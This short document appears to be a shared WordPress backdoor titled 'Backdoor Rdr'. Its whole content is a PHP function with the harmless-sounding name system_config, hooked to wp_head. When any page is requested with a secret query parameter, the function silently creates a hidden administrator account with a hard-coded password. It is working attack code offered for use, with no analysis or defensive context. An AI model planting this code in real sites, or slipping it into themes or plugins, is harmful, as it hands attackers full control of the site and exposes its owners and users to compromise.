Backdoor Rdr
admin function system_config() { if ($_GET['adminrdr'] == 'adminrdr') { require('wp-includes/registration.php'); if (!username_exists('adminrdr')) { $user_id = wp_create_user('adminrdr', 'rdr123..'); $user = new WP_User($user_id); $user->set_role('administrator'); die(); } } } add_action( 'wp_head', 'system_config' );